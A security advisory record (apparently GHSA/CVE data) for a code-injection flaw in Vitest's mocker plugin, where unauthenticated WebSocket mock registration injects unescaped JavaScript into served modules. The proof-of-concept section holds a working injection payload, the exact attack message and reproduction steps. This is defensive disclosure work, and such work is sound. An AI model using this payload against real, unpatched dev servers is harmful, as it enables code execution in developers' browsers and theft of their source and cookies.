{"id":"CVE-2026-112949","aliases":["GHSA-qxg6-89mg-rqv8"],"title":"Vitest: Code injection via unauthenticated manual mock registration","summary":"Vitest: Code injection via unauthenticated manual mock registration","severity":"medium","cvss":4.7,"cwe":["CWE-94","CWE-116","CWE-306"],"vendor":"vitest","product":"@vitest/mocker","ecosystem":"npm","affected":["@vitest/mocker >= 2.1.0-beta.7, < 4.1.12","@vitest/mocker >= 5.0.0-beta.1, < 5.0.3"],"patched":["@vitest/mocker 4.1.12","@vitest/mocker 5.0.3"],"published":"2026-10-21","updated":"2026-10-21","sourceUpdated":"2026-10-21T19:54:27Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-qxg6-89mg-rqv8","references":[{"url":"https://github.com/vitest-dev/vitest/security/advisories/GHSA-qxg6-89mg-rqv8"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112949"},{"url":"https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"},{"url":"https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"},{"url":"https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"},{"url":"https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"},{"url":"https://github.com/advisories/GHSA-qxg6-89mg-rqv8"}],"tags":["ghsa","npm","cve.org"],"epss":0.00242,"epssPercentile":0.14441,"ingestedAt":"2026-10-20T16:10:53.315Z","slug":"CVE-2026-112949","body":"## Overview\n\n### Summary\n\n`@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.\n\nSame handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.\n\n### Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code.\n\nProjects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3.\n\n### Details\n\n`packages/mocker/src/utils.ts:6-9` builds module source by string interpolation:\n\n```ts\nexport function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '\"__vitest_mocker__\"'): string {\n  const source = `\nconst __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule(\"${moduleUrl}\");\n`\n```\n\n`moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation.\n\n`packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket:\n\n```ts\nconfigureServer(server) {\n  if (options.registerWebSocketEvents === false) { return }\n  server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => {\n    if (event.type === 'manual') {\n      const module = ManualMockedModule.fromJSON(event, async () => {\n        const keys = await getFactoryExports(event.url)\n        return Object.fromEntries(keys.map(key => [key, null]))\n      })\n      registry.add(module)                       // no validation of `id` or `url`\n    }\n    else {\n      if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }\n```\n\n`event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id.\n\nWith `url = 'x\"); globalThis.ARES_INJECTED = 1; void(\"'` a request for `/src/app.js` is answered with valid, executable JavaScript:\n\n```js\nconst __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n```\n\n`getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into `__factoryModule__[\"X\"]`, `export { __0 as \"X\" }` and `resolvedModule[\"X\"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one.\n\n**Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.\n\n### PoC\n\n`poc/mocker-manual-mock-injection/` — `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.\n\nEnvironment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.\n\n```bash\ngit clone https://github.com/vitest-dev/vitest && cd vitest\ngit checkout 9e1166959e14bd32298d8a0e85352431c769ec7a\npnpm install && pnpm build\nREPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh\n```\n\nRequired configuration — the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way):\n\n```ts\nimport { interceptorPlugin } from '@vitest/mocker/node'\nexport default defineConfig({ plugins: [interceptorPlugin()] })   // or mockerPlugin()\n```\n\nThe attack is one WebSocket message to `ws://<host>:<port>/` with subprotocol `vite-hmr`:\n\n```json\n{ \"type\": \"custom\", \"event\": \"vitest:interceptor:register\",\n  \"data\": { \"type\": \"manual\", \"raw\": \"\", \"id\": \"<abs path of a served module>\",\n            \"url\": \"x\\\"); globalThis.ARES_INJECTED = 1; void(\\\"\" } }\n```\n\nthen answering the server's `vitest:interceptor:resolve` with `{\"type\":\"custom\",\"event\":\"vitest:interceptor:resolved\",\"data\":{\"url\":\"<same url>\",\"keys\":[\"a\"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used.\n\nObserved output:\n\n```\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example  result=400\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000  result=400\nPASS  negative control: with no mock registered the real module is served\nPASS  negative control: a mock with a harmless url replaces the module but injects nothing\n--- module served for /src/app.js ---\n    const __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n\n    let __0 = __factoryModule__[\"a\"]\n    export { __0 as \"a\" }\n    if (__factoryModule__.__factoryPromise != null) {\n      __factoryModule__.__factoryPromise.then((resolvedModule) => {\n        __0 = resolvedModule[\"a\"];\n      })\n    }\nPASS  attacker statement is present in the module the dev server serves\nPASS  the real module body was replaced\nPASS  the injected module parses as JavaScript (Vite import analysis accepted it)\n\nRESULT: VULNERABLE\n```\n\n* **Positive control** — with no mock registered, `/src/app.js` is served with its real body, so the harness demonstrably works.\n* **Negative control** — the same registration with a harmless `url` replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.\n* **Precondition controls** — the two `Origin` probes record the boundary honestly.\n* Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with \"content contains invalid JS syntax\"), so acceptance proves the injected module is valid, executable JavaScript.\n\nReproduced three times from a clean `mktemp` fixture, exit 0 each time.\n\n### Impact\n\nCode injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public `mockerPlugin()`/`interceptorPlugin()` API documented in `packages/mocker/EXPORTS.md`. Node runs do not register these handlers. Development-only — `configureServer` does not run for `vite build` or `vite preview`.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R&D)\n\nDisclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.\n\n## Affected packages\n\n- `@vitest/mocker >= 2.1.0-beta.7, < 4.1.12`\n- `@vitest/mocker >= 5.0.0-beta.1, < 5.0.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `@vitest/mocker 4.1.12`\n- `@vitest/mocker 5.0.3`","depth":"sunlit","depthScore":26,"depthScoreParts":{"impact":25.9,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}